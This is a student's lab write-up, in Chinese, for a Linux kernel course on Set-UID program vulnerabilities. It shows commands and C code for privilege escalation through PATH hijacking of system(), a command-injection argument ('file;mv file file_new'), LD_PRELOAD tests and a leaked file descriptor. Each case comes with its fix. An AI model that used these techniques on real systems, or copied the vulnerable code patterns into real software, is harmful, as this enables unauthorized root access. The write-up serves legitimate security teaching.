2020-2021-1 20209327 《Linux内核原理与分析》第十二周作业

SET-UID程序漏洞实验

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• SET-UID程序漏洞实验
  • 作业信息
  • 实验目标
  • 运行 Set-UID 程序
  • Bash 内在保护机制
  • PATH 环境变量的设置
  • system() 和 execve() 的不同
  • LD_PRELOAD 环境变量
  • 消除和清理特权

作业信息

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实验目标

Set-UID是 Unix 系统中的一个重要的安全机制。当一个Set-UID程序运行的时候，它被假设为具有拥有者的权限。例如，如果程序的拥有者是 root ，那么任何人运行这个程序时都会获得程序拥有者的权限。
本次实验的目标有两点：

• 理解为什么需要Set-UID，以及它是如何被执行的。
• 理解它潜在的安全性问题。

运行 Set-UID 程序

在 Linux 环境下运行Set-UID程序。

以 root 方式登录，拷贝 /usr/bin/zsh 到 /tmp, 同时设置拷贝到 tmp 目录下的 zsh 为 set-uid root 权限，然后以普通用户登录，运行 /tmp/zsh。可以看到，普通用户运行 tmp 目录下的 zsh 获得了 root 权限。

拷贝 /bin/bash 到 /tmp 目录，同时设置 /tmp 目录下的 bash 为 Set-UID root 权限，然后以普通用户登录，运行 /tmp/bash。可以看到，运行 tmp 目录下的 bash 不能获得 root 权限。

可见，对于同样的操作，运行复制的 zsh 可以获得 root 权限，而 bash 不能。

Bash 内在保护机制

/bin/bash有某种内在的保护机制可以阻止Set-UID机制的滥用。为了能够体验这种内在的保护机制出现之前的情形，可以使用另外一种shell程序——/bin/zsh。在一些 linux 的发行版中（比如 Fedora 和 Ubuntu），/bin/sh 实际上是 /bin/bash 的符号链接。为了使用 zsh，需要把 /bin/sh 链接到 /bin/zsh。

把默认的shell指向zsh：

cd /bin
sudo su
ls -ls sh
rm sh
ln -s zsh sh
ls -la sh

PATH 环境变量的设置

system(const char * cmd)系统调用函数被内嵌到一个程序中执行一个命令，system() 调用 /bin/sh 来执行 shell 程序，然后 shell 程序去执行 cmd 命令。但是在一个 Set-UID 程序中 system() 函数调用 shell 是非常危险的，这是因为 shell 程序的行为可以被环境变量影响，比如 PATH；而这些环境变量可以在用户的控制当中。通过控制这些变量，用心险恶的用户就可以控制Set-UID程序的行为。

下面的Set-UID程序被用来执行 /bin/ls 命令；然后程序员可以为 ls 命令使用相对路径，而不是绝对路径。在 /tmp 目录下新建 test.c 文件

cd /tmp
vi test.c

输入如下内容：

int main()
{
   system("ls");
   return 0;
}

把 /bin/sh 拷贝到 /tmp 目录下面重命名为 ls（先要确保 /bin/ 目录下的 sh 符号链接到 zsh，而不是 bash），将环境变量 PATH 设置为当前目录 /tmp，运行编译的程序 test，就可以获得 root 权限。

cd /tmp
sudo su
gcc -o test test.c
chmod u+s test
exit
cp /bin/sh /tmp/ls
PATH=/tmp/
echo $PATH
./test

恢复环境变量 PATH ，然后修改 /bin/sh 使得其返回到 /bin/bash，重复上面的攻击，运行test程序时不能获得root权限。

sudo su
cd /bin
rm sh
ln -s bash sh
ls -ls sh
exit
cd /tmp
./test

可见修改 sh 连接回 bash，运行 test 程序不能使普通用户获得 root 权限。

system() 和 execve() 的不同

首先确保 /bin/sh 指向zsh:

sudo su
cd /bin
rm sh
ln -s zsh sh

恢复PATH为PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

一个SET-ROOT-UID程序，需要用户在命令行中打出一个文件名，然后运行 /bin/cat 命令显示这个文件。这个程序是以 root 权限运行的，可以显示用户想看的任何一个文件。然而，这个程序没有写操作，用户不能用这个程序修改任何文件。

首先在 /tmp 目录下新建 SRU.c 文件，内容如下：

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
   char *v[3];
   if(argc < 2)
   {
   printf("Please type a file name.
");
   return 1;
   }
   v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = 0;
  //Set q = 0 for Question a, and q = 1 for Question b
   int q = 0;
   if (q == 0)
   {
      char *command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
      sprintf(command, "%s %s", v[0], v[1]);
      system(command);
  }
  else execve(v[0], v, 0);
  return 0 ;
}

程序中有 q=0，程序会使用 system() 调用命令行。这个命令不安全，用户可能会出于好奇或者个人利益驱使阅读或者修改只有 root 用户才可以运行的一些文件。比如：file 文件只有 root 用户有读写权限，但普通用户通过运行该程序，阅读并将 file 文件重命名为 file_new ：

ls -la /bin/sh
cd /tmp
sudo su
gcc -o SRU SRU.c
chmod u+s SRU
touch file
exit
ls -la file;ls -la SRU
./SRU "file;mv file file_new"
ls

修改为 q=1 后，不会有效。前面步骤之所以有效，是因为 system() 函数调用 /bin/sh，链接至 zsh，具有 root 权限执行了 cat file 文件后，接着执行 mv file file_new 命令。而当令 q=1，execve() 函数会把 file; mv file file_new 看成是一个文件名，系统会提示不存在这个文件：

LD_PRELOAD 环境变量

为了保证 Set-UID 程序在 LD_PRELOAD 环境的操纵下是安全的，动态链接器会忽略环境变量，但是在某些条件下是例外的，在下面的任务中，我们猜测这些特殊的条件到底是什么。

建立一个动态链接库。把下面的程序命名为 mylib.c，放在 /tmp 目录下。在函数库 libc 中重载了 sleep 函数：

#include <stdio.h>
void sleep (int s)
{
    printf("I am not sleeping!
");
}

在终端用下面的命令编译上面的程序：

gcc -fPIC -g -c mylib.c
gcc -shared -Wl,-soname,libmylib.so.1 
-o libmylib.so.1.0.1 mylib.o –lc

把下面的程序命名为 myprog.c，放在 /tmp 目录下：

int main()
{
   sleep(1);
   return 0;
}

1. 把 myprog 编译成一个普通用户下的程序在普通用户下运行。可见，它会使用 LD_PRELOAD 环境变量，重载 sleep 函数：

export LD_PRELOAD=./libmylib.so.1.0.1
echo $LD_PRELOAD
gcc myprog.c -o myprog
./myprog

2. 把 myprog 编译成一个 Set-UID root 的程序在普通用户下运行。在这种情况下，忽略 LD_PRELOAD 环境变量，不重载 sleep 函数，使用系统自带的 sleep 函数：

sudo su
export LD_PRELOAD=./libmylib.so.1.0.1
gcc myprog.c -o myprog
chmod u+s myprog
exit
./myprog

3. 把 myprog 编译成一个 Set-UID root 的程序在 root 下运行。在这种情况下，使用 LD_PRELOAD 环境变量，使用重载的 sleep 函数：

sudo su
export LD_PRELOAD=./libmylib.so.1.0.1
gcc myprog.c -o myprog
chmod u+s myprog
./myprog

4. 在一个普通用户下把 myprog 编译成一个 Set-UID 普通用户的程序在另一个普通用户下运行。需要先使用命令 rm myprog 把之前编译生成的 myprog 文件删掉。在这种情况下，不会重载 sleep 函数：

sudo su
useradd -d /usr/SYL -m SYL
su SYL
export LD_PRELOAD=./libmylib.so.1.0.1
gcc myprog.c -o myprog
chmod u+s myprog
su shiyanyou
./myprog

由以上四种情况可见：只有用户自己创建的程序自己去运行，才会使用 LD_PRELOAD 环境变量，重载 sleep 函数，否则的话忽略 LD_PRELOAD 环境变量，不会重载 sleep 函数。

消除和清理特权

为了更加安全，Set-UID程序通常会调用 setuid() 系统调用函数永久的清除它们的 root 权限。然而有些时候，这样做是远远不够的。在 root 用户下，在 /tmp 目录新建一个空文件 zzz。在 root 用户下将下面代码命名为 test2.c，放在 /tmp 目录下，编译这个程序，给这个程序设置 root 权限。在一个普通的用户下，运行这个程序。

sudo su
touch zzz
vim test2.c

//test2.c
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>

int main(){

    int fd;
    fd = open("/tmp/zzz",O_RDWR|O_APPEND);
    sleep(1);
    setuid(getuid());
    pid_t pid ;

    if( ( pid = fork() ) < 0 )
        perror("fork error");
    else if( pid == 0 ){
        // child process
        write( fd , "shiyanlou!" , 10 );
    }

    int status=waitpid(pid,0,0);
    close(fd);

    return 0;
}

gcc -o test2 test2.c
chmod u+s test2
exit
ls -la zzz;ls -la test2
./test2
cat zzz

如图所示文件被修改了，原因在于设置 uid 前，zzz 文件就已经被打开了。只要将语句 setuid(getuid()) 移至调用 open 函数之前，就能避免这个问题。